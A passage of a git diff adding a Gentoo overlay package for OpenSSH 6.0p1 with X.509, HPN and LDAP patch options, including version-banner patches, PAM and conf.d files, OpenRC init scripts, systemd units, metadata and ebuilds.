+ RANLIB=@RANLIB@
+--- a/sshconnect.c
++++ b/sshconnect.c
+@@ -580,7 +580,7 @@ ssh_exchange_identification(int timeout_ms)
+ 	snprintf(buf, sizeof buf, "SSH-%d.%d-%.100s%s",
+ 	    compat20 ? PROTOCOL_MAJOR_2 : PROTOCOL_MAJOR_1,
+ 	    compat20 ? PROTOCOL_MINOR_2 : minor1,
+-	    SSH_VERSION, compat20 ? " PKIX\r\n" : "\n");
++	    SSH_VERSION, compat20 ? "\r\n" : "\n");
+ 	if (roaming_atomicio(vwrite, connection_out, buf, strlen(buf))
+ 	    != strlen(buf))
+ 		fatal("write: %.100s", strerror(errno));
+--- a/sshd.c
++++ b/sshd.c
+@@ -428,8 +428,8 @@ sshd_exchange_identification(int sock_in, int sock_out)
+ 		comment = "";
+ 	}
+ 
+-	xasprintf(&server_version_string, "SSH-%d.%d-%.100s%s%s%s%s",
++	xasprintf(&server_version_string, "SSH-%d.%d-%.100s%s%s%s",
+-	    major, minor, SSH_VERSION, comment,
++	    major, minor, SSH_VERSION,
+ 	    *options.version_addendum == '\0' ? "" : " ",
+ 	    options.version_addendum, newline);
+ 
+--- a/version.h
++++ b/version.h
+@@ -3,4 +3,5 @@
+ #define SSH_VERSION	"OpenSSH_6.0"
+ 
+ #define SSH_PORTABLE	"p1"
++#define SSH_X509	" PKIX"
+ #define SSH_RELEASE	SSH_VERSION SSH_PORTABLE
diff --git a/net-misc/openssh-x/files/sshd.confd b/net-misc/openssh-x/files/sshd.confd
new file mode 100644
index 00000000..28952b4a
--- /dev/null
+++ b/net-misc/openssh-x/files/sshd.confd
@@ -0,0 +1,21 @@
+# /etc/conf.d/sshd: config file for /etc/init.d/sshd
+
+# Where is your sshd_config file stored?
+
+SSHD_CONFDIR="/etc/ssh"
+
+
+# Any random options you want to pass to sshd.
+# See the sshd(8) manpage for more info.
+
+SSHD_OPTS=""
+
+
+# Pid file to use (needs to be absolute path).
+
+#SSHD_PIDFILE="/var/run/sshd.pid"
+
+
+# Path to the sshd binary (needs to be absolute path).
+
+#SSHD_BINARY="/usr/sbin/sshd"
diff --git a/net-misc/openssh-x/files/sshd.pam b/net-misc/openssh-x/files/sshd.pam
new file mode 100644
index 00000000..51149402
--- /dev/null
+++ b/net-misc/openssh-x/files/sshd.pam
@@ -0,0 +1,9 @@
+#%PAM-1.0
+
+auth       required	pam_stack.so service=system-auth
+auth       required     pam_shells.so
+auth	   required	pam_nologin.so
+account    required	pam_stack.so service=system-auth
+password   required	pam_stack.so service=system-auth
+session	   required	pam_stack.so service=system-auth
+
diff --git a/net-misc/openssh-x/files/sshd.pam_include.2 b/net-misc/openssh-x/files/sshd.pam_include.2
new file mode 100644
index 00000000..b801aaaf
--- /dev/null
+++ b/net-misc/openssh-x/files/sshd.pam_include.2
@@ -0,0 +1,4 @@
+auth       include	system-remote-login
+account    include	system-remote-login
+password   include	system-remote-login
+session	   include	system-remote-login
diff --git a/net-misc/openssh-x/files/sshd.rc6 b/net-misc/openssh-x/files/sshd.rc6
new file mode 100644
index 00000000..03160686
--- /dev/null
+++ b/net-misc/openssh-x/files/sshd.rc6
@@ -0,0 +1,82 @@
+#!/sbin/runscript
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-misc/openssh/files/sshd.rc6,v 1.28 2011/12/04 10:08:19 swegener Exp $
+
+extra_commands="checkconfig gen_keys"
+extra_started_commands="reload"
+
+depend() {
+	use logger dns
+	need net
+}
+
+SSHD_CONFDIR=${SSHD_CONFDIR:-/etc/ssh}
+SSHD_PIDFILE=${SSHD_PIDFILE:-/var/run/${SVCNAME}.pid}
+SSHD_BINARY=${SSHD_BINARY:-/usr/sbin/sshd}
+
+checkconfig() {
+	if [ ! -d /var/empty ] ; then
+		mkdir -p /var/empty || return 1
+	fi
+
+	if [ ! -e "${SSHD_CONFDIR}"/sshd_config ] ; then
+		eerror "You need an ${SSHD_CONFDIR}/sshd_config file to run sshd"
+		eerror "There is a sample file in /usr/share/doc/openssh"
+		return 1
+	fi
+
+	gen_keys || return 1
+
+	"${SSHD_BINARY}" -t ${myopts} || return 1
+}
+
+gen_keys() {
+	if [ ! -e "${SSHD_CONFDIR}"/ssh_host_key ] ; then
+		einfo "Generating Hostkey..."
+		/usr/bin/ssh-keygen -t rsa1 -f "${SSHD_CONFDIR}"/ssh_host_key -N '' || return 1
+	fi
+	if [ ! -e "${SSHD_CONFDIR}"/ssh_host_dsa_key ] ; then
+		einfo "Generating DSA-Hostkey..."
+		/usr/bin/ssh-keygen -d -f "${SSHD_CONFDIR}"/ssh_host_dsa_key -N '' || return 1
+	fi
+	if [ ! -e "${SSHD_CONFDIR}"/ssh_host_rsa_key ] ; then
+		einfo "Generating RSA-Hostkey..."
+		/usr/bin/ssh-keygen -t rsa -f "${SSHD_CONFDIR}"/ssh_host_rsa_key -N '' || return 1
+	fi
+	return 0
+}
+
+start() {
+	local myopts=""
+	[ "${SSHD_PIDFILE}" != "/var/run/sshd.pid" ] \
+		&& myopts="${myopts} -o PidFile=${SSHD_PIDFILE}"
+	[ "${SSHD_CONFDIR}" != "/etc/ssh" ] \
+		&& myopts="${myopts} -f ${SSHD_CONFDIR}/sshd_config"
+
+	checkconfig || return 1
+	ebegin "Starting ${SVCNAME}"
+	start-stop-daemon --start --exec "${SSHD_BINARY}" \
+	    --pidfile "${SSHD_PIDFILE}" \
+	    -- ${myopts} ${SSHD_OPTS}
+	eend $?
+}
+
+stop() {
+	if [ "${RC_CMD}" = "restart" ] ; then
+		checkconfig || return 1
+	fi
+
+	ebegin "Stopping ${SVCNAME}"
+	start-stop-daemon --stop --exec "${SSHD_BINARY}" \
+	    --pidfile "${SSHD_PIDFILE}" --quiet
+	eend $?
+}
+
+reload() {
+	checkconfig || return 1
+	ebegin "Reloading ${SVCNAME}"
+	start-stop-daemon --stop --signal HUP --oknodo \
+	    --exec "${SSHD_BINARY}" --pidfile "${SSHD_PIDFILE}"
+	eend $?
+}
diff --git a/net-misc/openssh-x/files/sshd.rc6.1 b/net-misc/openssh-x/files/sshd.rc6.1
new file mode 100644
index 00000000..6524601c
--- /dev/null
+++ b/net-misc/openssh-x/files/sshd.rc6.1
@@ -0,0 +1,83 @@
+#!/sbin/runscript
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-misc/openssh/files/sshd.rc6.1,v 1.2 2011/12/04 10:08:19 swegener Exp $
+
+extra_commands="checkconfig gen_keys"
+extra_started_commands="reload"
+
+depend() {
+	use logger dns
+	need net
+}
+
+SSHD_CONFDIR=${SSHD_CONFDIR:-/etc/ssh}
+SSHD_PIDFILE=${SSHD_PIDFILE:-/var/run/${SVCNAME}.pid}
+SSHD_BINARY=${SSHD_BINARY:-/usr/sbin/sshd}
+
+checkconfig() {
+	if [ ! -d /var/empty ] ; then
+		mkdir -p /var/empty || return 1
+	fi
+
+	if [ ! -e "${SSHD_CONFDIR}"/sshd_config ] ; then
+		eerror "You need an ${SSHD_CONFDIR}/sshd_config file to run sshd"
+		eerror "There is a sample file in /usr/share/doc/openssh"
+		return 1
+	fi
+
+	gen_keys || return 1
+
+	"${SSHD_BINARY}" -t ${myopts} || return 1
+}
+
+gen_keys() {
+	if [ ! -e "${SSHD_CONFDIR}"/ssh_host_key ] && \
+	   egrep -q '^[ \t]*Protocol[ \t]+.*1' "${SSHD_CONFDIR}"/sshd_config ; then
+		einfo "Generating RSA1-Hostkey..."
+		/usr/bin/ssh-keygen -t rsa1 -f "${SSHD_CONFDIR}"/ssh_host_key -N '' || return 1
+	fi
+	if [ ! -e "${SSHD_CONFDIR}"/ssh_host_dsa_key ] ; then
+		einfo "Generating DSA-Hostkey..."
+		/usr/bin/ssh-keygen -d -f "${SSHD_CONFDIR}"/ssh_host_dsa_key -N '' || return 1
+	fi
+	if [ ! -e "${SSHD_CONFDIR}"/ssh_host_rsa_key ] ; then
+		einfo "Generating RSA-Hostkey..."
+		/usr/bin/ssh-keygen -t rsa -f "${SSHD_CONFDIR}"/ssh_host_rsa_key -N '' || return 1
+	fi
+	return 0
+}
+
+start() {
+	local myopts=""
+	[ "${SSHD_PIDFILE}" != "/var/run/sshd.pid" ] \
+		&& myopts="${myopts} -o PidFile=${SSHD_PIDFILE}"
+	[ "${SSHD_CONFDIR}" != "/etc/ssh" ] \
+		&& myopts="${myopts} -f ${SSHD_CONFDIR}/sshd_config"
+
+	checkconfig || return 1
+	ebegin "Starting ${SVCNAME}"
+	start-stop-daemon --start --exec "${SSHD_BINARY}" \
+	    --pidfile "${SSHD_PIDFILE}" \
+	    -- ${myopts} ${SSHD_OPTS}
+	eend $?
+}
+
+stop() {
+	if [ "${RC_CMD}" = "restart" ] ; then
+		checkconfig || return 1
+	fi
+
+	ebegin "Stopping ${SVCNAME}"
+	start-stop-daemon --stop --exec "${SSHD_BINARY}" \
+	    --pidfile "${SSHD_PIDFILE}" --quiet
+	eend $?
+}
+
+reload() {
+	checkconfig || return 1
+	ebegin "Reloading ${SVCNAME}"
+	start-stop-daemon --stop --signal HUP --oknodo \
+	    --exec "${SSHD_BINARY}" --pidfile "${SSHD_PIDFILE}"
+	eend $?
+}
diff --git a/net-misc/openssh-x/files/sshd.rc6.2 b/net-misc/openssh-x/files/sshd.rc6.2
new file mode 100644
index 00000000..22aaaad2
--- /dev/null
+++ b/net-misc/openssh-x/files/sshd.rc6.2
@@ -0,0 +1,85 @@
+#!/sbin/runscript
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-misc/openssh/files/sshd.rc6.2,v 1.3 2011/12/04 10:08:19 swegener Exp $
+
+extra_commands="checkconfig gen_keys"
+extra_started_commands="reload"
+
+depend() {
+	use logger dns
+	need net
+}
+
+SSHD_CONFDIR=${SSHD_CONFDIR:-/etc/ssh}
+SSHD_PIDFILE=${SSHD_PIDFILE:-/var/run/${SVCNAME}.pid}
+SSHD_BINARY=${SSHD_BINARY:-/usr/sbin/sshd}
+
+checkconfig() {
+	if [ ! -d /var/empty ] ; then
+		mkdir -p /var/empty || return 1
+	fi
+
+	if [ ! -e "${SSHD_CONFDIR}"/sshd_config ] ; then
+		eerror "You need an ${SSHD_CONFDIR}/sshd_config file to run sshd"
+		eerror "There is a sample file in /usr/share/doc/openssh"
+		return 1
+	fi
+
+	gen_keys || return 1
+
+	[ "${SSHD_PIDFILE}" != "/var/run/sshd.pid" ] \
+		&& SSHD_OPTS="${SSHD_OPTS} -o PidFile=${SSHD_PIDFILE}"
+	[ "${SSHD_CONFDIR}" != "/etc/ssh" ] \
+		&& SSHD_OPTS="${SSHD_OPTS} -f ${SSHD_CONFDIR}/sshd_config"
+
+	"${SSHD_BINARY}" -t ${SSHD_OPTS} || return 1
+}
+
+gen_key() {
+	local type=$1 key ks
+	[ $# -eq 1 ] && ks="${type}_"
+	key="${SSHD_CONFDIR}/ssh_host_${ks}key"
+	if [ ! -e "${key}" ] ; then
+		ebegin "Generating ${type} host key"
+		ssh-keygen -t ${type} -f "${key}" -N ''
+		eend $? || return $?
+	fi
+}
+
+gen_keys() {
+	if egrep -q '^[[:space:]]*Protocol[[:space:]]+.*1' "${SSHD_CONFDIR}"/sshd_config ; then
+		gen_key rsa1 "" || return 1
+	fi
+	gen_key dsa && gen_key rsa && gen_key ecdsa
+	return $?
+}
+
+start() {
+	checkconfig || return 1
+
+	ebegin "Starting ${SVCNAME}"
+	start-stop-daemon --start --exec "${SSHD_BINARY}" \
+	    --pidfile "${SSHD_PIDFILE}" \
+	    -- ${SSHD_OPTS}
+	eend $?
+}
+
+stop() {
+	if [ "${RC_CMD}" = "restart" ] ; then
+		checkconfig || return 1
+	fi
+
+	ebegin "Stopping ${SVCNAME}"
+	start-stop-daemon --stop --exec "${SSHD_BINARY}" \
+	    --pidfile "${SSHD_PIDFILE}" --quiet
+	eend $?
+}
+
+reload() {
+	checkconfig || return 1
+	ebegin "Reloading ${SVCNAME}"
+	start-stop-daemon --stop --signal HUP --oknodo \
+	    --exec "${SSHD_BINARY}" --pidfile "${SSHD_PIDFILE}"
+	eend $?
+}
diff --git a/net-misc/openssh-x/files/sshd.rc6.3 b/net-misc/openssh-x/files/sshd.rc6.3
new file mode 100755
index 00000000..c55116e9
--- /dev/null
+++ b/net-misc/openssh-x/files/sshd.rc6.3
@@ -0,0 +1,85 @@
+#!/sbin/runscript
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-misc/openssh/files/sshd.rc6.3,v 1.2 2011/09/14 21:46:19 polynomial-c Exp $
+
+extra_commands="checkconfig gen_keys"
+extra_started_commands="reload"
+
+depend() {
+	use logger dns
+	need net
+}
+
+SSHD_CONFDIR=${SSHD_CONFDIR:-/etc/ssh}
+SSHD_PIDFILE=${SSHD_PIDFILE:-/var/run/${SVCNAME}.pid}
+SSHD_BINARY=${SSHD_BINARY:-/usr/sbin/sshd}
+
+checkconfig() {
+	if [ ! -d /var/empty ] ; then
+		mkdir -p /var/empty || return 1
+	fi
+
+	if [ ! -e "${SSHD_CONFDIR}"/sshd_config ] ; then
+		eerror "You need an ${SSHD_CONFDIR}/sshd_config file to run sshd"
+		eerror "There is a sample file in /usr/share/doc/openssh"
+		return 1
+	fi
+
+	gen_keys || return 1
+
+	[ "${SSHD_PIDFILE}" != "/var/run/sshd.pid" ] \
+		&& SSHD_OPTS="${SSHD_OPTS} -o PidFile=${SSHD_PIDFILE}"
+	[ "${SSHD_CONFDIR}" != "/etc/ssh" ] \
+		&& SSHD_OPTS="${SSHD_OPTS} -f ${SSHD_CONFDIR}/sshd_config"
+
+	"${SSHD_BINARY}" -t ${SSHD_OPTS} || return 1
+}
+
+gen_key() {
+	local type=$1 key ks
+	[ $# -eq 1 ] && ks="${type}_"
+	key="${SSHD_CONFDIR}/ssh_host_${ks}key"
+	if [ ! -e "${key}" ] ; then
+		ebegin "Generating ${type} host key"
+		ssh-keygen -t ${type} -f "${key}" -N ''
+		eend $? || return $?
+	fi
+}
+
+gen_keys() {
+	if egrep -q '^[[:space:]]*Protocol[[:space:]]+.*1' "${SSHD_CONFDIR}"/sshd_config ; then
+		gen_key rsa1 "" || return 1
+	fi
+	gen_key dsa && gen_key rsa && gen_key ecdsa
+	return $?
+}
+
+start() {
+	checkconfig || return 1
+
+	ebegin "Starting ${SVCNAME}"
+	start-stop-daemon --start --exec "${SSHD_BINARY}" \
+	    --pidfile "${SSHD_PIDFILE}" \
+	    -- ${SSHD_OPTS}
+	eend $?
+}
+
+stop() {
+	if [ "${RC_CMD}" = "restart" ] ; then
+		checkconfig || return 1
+	fi
+
+	ebegin "Stopping ${SVCNAME}"
+	start-stop-daemon --stop --exec "${SSHD_BINARY}" \
+	    --pidfile "${SSHD_PIDFILE}" --quiet
+	eend $?
+}
+
+reload() {
+	checkconfig || return 1
+	ebegin "Reloading ${SVCNAME}"
+	start-stop-daemon --signal HUP \
+	    --exec "${SSHD_BINARY}" --pidfile "${SSHD_PIDFILE}"
+	eend $?
+}
diff --git a/net-misc/openssh-x/files/sshd.service b/net-misc/openssh-x/files/sshd.service
new file mode 100644
index 00000000..45f823ac
--- /dev/null
+++ b/net-misc/openssh-x/files/sshd.service
@@ -0,0 +1,10 @@
+[Unit]
+Description=OpenSSH server daemon
+After=syslog.target network.target auditd.service
+
+[Service]
+ExecStart=/usr/sbin/sshd -D -e
+ExecReload=/bin/kill -HUP $MAINPID
+
+[Install]
+WantedBy=multi-user.target
diff --git a/net-misc/openssh-x/files/sshd.socket b/net-misc/openssh-x/files/sshd.socket
new file mode 100644
index 00000000..94b95331
--- /dev/null
+++ b/net-misc/openssh-x/files/sshd.socket
@@ -0,0 +1,10 @@
+[Unit]
+Description=OpenSSH Server Socket
+Conflicts=sshd.service
+
+[Socket]
+ListenStream=22
+Accept=yes
+
+[Install]
+WantedBy=sockets.target
diff --git a/net-misc/openssh-x/files/sshd_at.service b/net-misc/openssh-x/files/sshd_at.service
new file mode 100644
index 00000000..2645ad04
--- /dev/null
+++ b/net-misc/openssh-x/files/sshd_at.service
@@ -0,0 +1,8 @@
+[Unit]
+Description=OpenSSH per-connection server daemon
+After=syslog.target auditd.service
+
+[Service]
+ExecStart=-/usr/sbin/sshd -i -e
+StandardInput=socket
+StandardError=syslog
diff --git a/net-misc/openssh-x/metadata.xml b/net-misc/openssh-x/metadata.xml
new file mode 100644
index 00000000..a7517337
--- /dev/null
+++ b/net-misc/openssh-x/metadata.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+  <herd>base-system</herd>
+  <maintainer restrict="net-misc/openssh[ldap]">
+    <email>robbat2@gentoo.org</email>
+	<description>LPK issues. Only assign if it's a direct LPK issue. Do not directly assign for anything else.</description>
+  </maintainer>
+  <longdescription>
+OpenSSH is a FREE version of the SSH protocol suite of network connectivity tools that 
+increasing numbers of people on the Internet are coming to rely on. Many users of telnet, 
+rlogin, ftp, and other such programs might not realize that their password is transmitted 
+across the Internet unencrypted, but it is. OpenSSH encrypts all traffic (including passwords) 
+to effectively eliminate eavesdropping, connection hijacking, and other network-level attacks. 
+Additionally, OpenSSH provides a myriad of secure tunneling capabilities, as well as a variety 
+of authentication methods.
+
+The OpenSSH suite includes the ssh program which replaces rlogin and telnet, scp which 
+replaces rcp, and sftp which replaces ftp. Also included is sshd which is the server side of 
+the package, and the other basic utilities like ssh-add, ssh-agent, ssh-keysign, ssh-keyscan, 
+ssh-keygen and sftp-server. OpenSSH supports SSH protocol versions 1.3, 1.5, and 2.0.
+</longdescription>
+  <use>
+	<flag name="hpn">Enable high performance ssh</flag>
+	<flag name="ldap">Add support for storing SSH public keys in LDAP</flag>
+	<flag name="X509">Adds support for X.509 certificate authentication</flag>
+  </use>
+</pkgmetadata>
diff --git a/net-misc/openssh-x/openssh-x-6.0_p1-r1.ebuild b/net-misc/openssh-x/openssh-x-6.0_p1-r1.ebuild
new file mode 100644
index 00000000..66f79c8b
--- /dev/null
+++ b/net-misc/openssh-x/openssh-x-6.0_p1-r1.ebuild
@@ -0,0 +1,294 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-misc/openssh/openssh-6.0_p1-r1.ebuild,v 1.1 2012/06/08 05:43:01 vapier Exp $
+
+EAPI="2"
+inherit eutils user flag-o-matic multilib autotools pam systemd
+
+# Make it more portable between straight releases
+# and _p? releases.
+PARCH=${P/_}
+
+HPN_PATCH="${PARCH}-hpn13v11.diff.bz2"
+LDAP_PATCH="${PARCH/-/-lpk-}-0.3.14.patch.gz"
+X509_VER="7.1" X509_PATCH="${PARCH}+x509-${X509_VER}.diff.gz"
+
+DESCRIPTION="Port of OpenBSD's free SSH release"
+HOMEPAGE="http://www.openssh.org/"
+SRC_URI="mirror://openbsd/OpenSSH/portable/${PARCH}.tar.gz
+	${HPN_PATCH:+hpn? ( http://www.psc.edu/networking/projects/hpn-ssh/${HPN_PATCH} mirror://gentoo/${HPN_PATCH} )}
+	${LDAP_PATCH:+ldap? ( mirror://gentoo/${LDAP_PATCH} )}
+	${X509_PATCH:+X509? ( http://roumenpetrov.info/openssh/x509-${X509_VER}/${X509_PATCH} )}
+	"
+
+LICENSE="as-is"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~arm ~hppa ~ia64 ~m68k ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86 ~amd64-fbsd ~sparc-fbsd ~x86-fbsd"
+IUSE="${HPN_PATCH:++}hpn kerberos ldap libedit pam selinux skey static tcpd X X509"
+
+RDEPEND="pam? ( virtual/pam )
+	kerberos? ( virtual/krb5 )
+	selinux? ( >=sys-libs/libselinux-1.28 )
+	skey? ( >=sys-auth/skey-1.1.5-r1 )
+	ldap? ( net-nds/openldap )
+	libedit? ( dev-libs/libedit )
+	>=dev-libs/openssl-0.9.6d
+	>=sys-libs/zlib-1.2.3
+	tcpd? ( >=sys-apps/tcp-wrappers-7.6 )
+	X? ( x11-apps/xauth )
+	userland_GNU? ( virtual/shadow )"
+DEPEND="${RDEPEND}
+	virtual/pkgconfig
+	virtual/os-headers
+	sys-devel/autoconf"
+RDEPEND="${RDEPEND}
+	pam? ( >=sys-auth/pambase-20081028 )"
+
+S=${WORKDIR}/${PARCH}
+
+pkg_setup() {
+	# this sucks, but i'd rather have people unable to `emerge -u openssh`
+	# than not be able to log in to their server any more
+	maybe_fail() { [[ -z ${!2} ]] && echo ${1} ; }
+	local fail="
+		$(use X509 && maybe_fail X509 X509_PATCH)
+		$(use ldap && maybe_fail ldap LDAP_PATCH)
+		$(use hpn && maybe_fail hpn HPN_PATCH)
+	"
+	fail=$(echo ${fail})
+	if [[ -n ${fail} ]] ; then
+		eerror "Sorry, but this version does not yet support features"
+		eerror "that you requested:	 ${fail}"
+		eerror "Please mask ${PF} for now and check back later:"
+		eerror " # echo '=${CATEGORY}/${PF}' >> /etc/portage/package.mask"
+		die "booooo"
+	fi
+}
+
+save_version() {
+	# version.h patch conflict avoidence
+	mv version.h version.h.$1
+	cp -f version.h.pristine version.h
+}
+
+src_prepare() {
+	sed -i \
+		-e '/_PATH_XAUTH/s:/usr/X11R6/bin/xauth:/usr/bin/xauth:' \
+		pathnames.h || die
+	# keep this as we need it to avoid the conflict between LPK and HPN changing
+	# this file.
+	cp version.h version.h.pristine
+
+	# don't break .ssh/authorized_keys2 for fun
+	sed -i '/^AuthorizedKeysFile/s:^:#:' sshd_config || die
+
+	epatch "${FILESDIR}"/${PN}-5.9_p1-sshd-gssapi-multihomed.patch #378361
+	if use X509 ; then
+		pushd .. >/dev/null
+		epatch "${FILESDIR}"/${PN}-6.0_p1-x509-glue.patch
+		popd >/dev/null
+		epatch "${WORKDIR}"/${X509_PATCH%.*}
+		epatch "${FILESDIR}"/${PN}-6.0_p1-x509-hpn-glue.patch
+		save_version X509
+	fi
+	if ! use X509 ; then
+		if [[ -n ${LDAP_PATCH} ]] && use ldap ; then
+			epatch "${WORKDIR}"/${LDAP_PATCH%.*}
+			save_version LPK
+		fi
+	else
+		use ldap && ewarn "Sorry, X509 and LDAP conflict internally, disabling LDAP"
+	fi
+	epatch "${FILESDIR}"/${PN}-6.0_p1-test.patch #391011
+	epatch "${FILESDIR}"/${PN}-6.0_p1-fix-freebsd-compilation.patch #391011
+	epatch "${FILESDIR}"/${PN}-4.7_p1-GSSAPI-dns.patch #165444 integrated into gsskex
+	if [[ -n ${HPN_PATCH} ]] && use hpn; then
+		epatch "${WORKDIR}"/${HPN_PATCH%.*}
+		epatch "${FILESDIR}"/${PN}-5.6_p1-hpn-progressmeter.patch
+		save_version HPN
+		# The AES-CTR multithreaded variant is broken, and causes random hangs
+		# when combined background threading and control sockets. To avoid
+		# this, we change the internal table to use the non-multithread version
+		# for the meantime. Do NOT remove this in new versions. See bug #354113
+		# comment #6 for testcase.
+		# Upstream reference: http://www.psc.edu/networking/projects/hpn-ssh/
+		## Additionally, the MT-AES-CTR mode cipher replaces the default ST-AES-CTR mode
+		## cipher. Be aware that if the client process is forked using the -f command line
+		## option the process will hang as the parent thread gets 'divorced' from the key
+		## generation threads. This issue will be resolved as soon as possible
+		sed -i \
+			-e '/aes...-ctr.*SSH_CIPHER_SSH2/s,evp_aes_ctr_mt,evp_aes_128_ctr,' \
+			cipher.c || die
+	fi
+
+	sed -i "s:-lcrypto:$(pkg-config --libs openssl):" configure{,.ac} || die
+
+	# Disable PATH reset, trust what portage gives us. bug 254615
+	sed -i -e 's:^PATH=/:#PATH=/:' configure || die
+
+	# Now we can build a sane merged version.h
+	(
+		sed '/^#define SSH_RELEASE/d' version.h.* | sort -u
+		macros=()
+		for p in HPN LPK X509 ; do [ -e version.h.${p} ] && macros+=( SSH_${p} ) ; done
+		printf '#define SSH_RELEASE SSH_VERSION SSH_PORTABLE %s\n' "${macros}"
+	) > version.h
+
+	eautoreconf
+}
+
+static_use_with() {
+	local flag=$1
+	if use static && use ${flag} ; then
+		ewarn "Disabling '${flag}' support because of USE='static'"
+		# rebuild args so that we invert the first one (USE flag)
+		# but otherwise leave everything else working so we can
+		# just leverage use_with
+		shift
+		[[ -z $1 ]] && flag="${flag} ${flag}"
+		set -- !${flag} "$@"
+	fi
+	use_with "$@"
+}
+
+src_configure() {
+	addwrite /dev/ptmx
+	addpredict /etc/skey/skeykeys #skey configure code triggers this
+
+	use static && append-ldflags -static
+
+	econf \
+		--with-ldflags="${LDFLAGS}" \
+		--disable-strip \
+		--sysconfdir=/etc/ssh \
+		--libexecdir=/usr/$(get_libdir)/misc \
+		--datadir=/usr/share/openssh \
+		--with-privsep-path=/var/empty \
+		--with-privsep-user=sshd \
+		--with-md5-passwords \
+		--with-ssl-engine \
+		$(static_use_with pam) \
+		$(static_use_with kerberos kerberos5 /usr) \
+		${LDAP_PATCH:+$(use X509 || ( use ldap && use_with ldap ))} \
+		$(use_with libedit) \
+		$(use_with selinux) \
+		$(use_with skey) \
+		$(use_with tcpd tcp-wrappers)
+}
+
+src_install() {
+	emake install-nokeys DESTDIR="${D}" || die
+	fperms 600 /etc/ssh/sshd_config
+	dobin contrib/ssh-copy-id || die
+	newinitd "${FILESDIR}"/sshd.rc6.3 sshd
+	newconfd "${FILESDIR}"/sshd.confd sshd
+	keepdir /var/empty
+
+	# not all openssl installs support ecc, or are functional #352645
+	if ! grep -q '#define OPENSSL_HAS_ECC 1' config.h ; then
+		elog "dev-libs/openssl was built with 'bindist' - disabling ecdsa support"
+		dosed 's:&& gen_key ecdsa::' /etc/init.d/sshd || die
+	fi
+
+	newpamd "${FILESDIR}"/sshd.pam_include.2 sshd
+	if use pam ; then
+		sed -i \
+			-e "/^#UsePAM /s:.*:UsePAM yes:" \
+			-e "/^#PasswordAuthentication /s:.*:PasswordAuthentication no:" \
+			-e "/^#PrintMotd /s:.*:PrintMotd no:" \
+			-e "/^#PrintLastLog /s:.*:PrintLastLog no:" \
+			"${D}"/etc/ssh/sshd_config || die "sed of configuration file failed"
+	fi
+
+	# Gentoo tweaks to default config files
+	cat <<-EOF >> "${D}"/etc/ssh/sshd_config
+
+	# Allow client to pass locale environment variables #367017
+	AcceptEnv LANG LC_*
+	EOF
+	cat <<-EOF >> "${D}"/etc/ssh/ssh_config
+
+	# Send locale environment variables #367017
+	SendEnv LANG LC_*
+	EOF
+
+	# This instruction is from the HPN webpage,
+	# Used for the server logging functionality
+	if [[ -n ${HPN_PATCH} ]] && use hpn ; then
+		keepdir /var/empty/dev
+	fi
+
+	if use ldap ; then
+		insinto /etc/openldap/schema/
+		newins openssh-lpk_openldap.schema openssh-lpk.schema
+	fi
+
+	doman contrib/ssh-copy-id.1
+	dodoc ChangeLog CREDITS OVERVIEW README* TODO sshd_config
+
+	diropts -m 0700
+	dodir /etc/skel/.ssh
+
+	systemd_dounit "${FILESDIR}"/sshd.{service,socket} || die
+	systemd_newunit "${FILESDIR}"/sshd_at.service 'sshd@.service' || die
+}
+
+src_test() {
+	local t tests skipped failed passed shell
+	tests="interop-tests compat-tests"
+	skipped=""
+	shell=$(egetshell ${UID})
+	if [[ ${shell} == */nologin ]] || [[ ${shell} == */false ]] ; then
+		elog "Running the full OpenSSH testsuite"
+		elog "requires a usable shell for the 'portage'"
+		elog "user, so we will run a subset only."
+		skipped="${skipped} tests"
+	else
+		tests="${tests} tests"
+	fi
+	# It will also attempt to write to the homedir .ssh
+	local sshhome=${T}/homedir
+	mkdir -p "${sshhome}"/.ssh
+	for t in ${tests} ; do
+		# Some tests read from stdin ...
+		HOMEDIR="${sshhome}" \
+		emake -k -j1 ${t} </dev/null \
+			&& passed="${passed}${t} " \
+			|| failed="${failed}${t} "
+	done
+	einfo "Passed tests: ${passed}"
+	ewarn "Skipped tests: ${skipped}"
+	if [[ -n ${failed} ]] ; then
+		ewarn "Failed tests: ${failed}"
+		die "Some tests failed: ${failed}"
+	else
+		einfo "Failed tests: ${failed}"
+		return 0
+	fi
+}
+
+pkg_preinst() {
+	enewgroup sshd 22
+	enewuser sshd 22 -1 /var/empty sshd
+}
+
+pkg_postinst() {
+	elog "Starting with openssh-5.8p1, the server will default to a newer key"
+	elog "algorithm (ECDSA).  You are encouraged to manually update your stored"
+	elog "keys list as servers update theirs.  See ssh-keyscan(1) for more info."
+	echo
+	ewarn "Remember to merge your config files in /etc/ssh/ and then"
+	ewarn "reload sshd: '/etc/init.d/sshd reload'."
+	if use pam ; then
+		echo
+		ewarn "Please be aware users need a valid shell in /etc/passwd"
+		ewarn "in order to be allowed to login."
+	fi
+	# This instruction is from the HPN webpage,
+	# Used for the server logging functionality
+	if [[ -n ${HPN_PATCH} ]] && use hpn ; then
+		echo
+		einfo "For the HPN server logging patch, you must ensure that"
+		einfo "your syslog application also listens at /var/empty/dev/log."
+	fi
+}
diff --git a/net-misc/openssh-x/openssh-x-6.0_p1.ebuild b/net-misc/openssh-x/openssh-x-6.0_p1.ebuild
new file mode 100644
index 00000000..745baa3f
--- /dev/null
+++ b/net-misc/openssh-x/openssh-x-6.0_p1.ebuild
@@ -0,0 +1,294 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-misc/openssh/openssh-6.0_p1.ebuild,v 1.7 2012/05/29 12:37:53 aballier Exp $
+
+EAPI="2"
+inherit eutils user flag-o-matic multilib autotools pam systemd
+
+# Make it more portable between straight releases
+# and _p? releases.
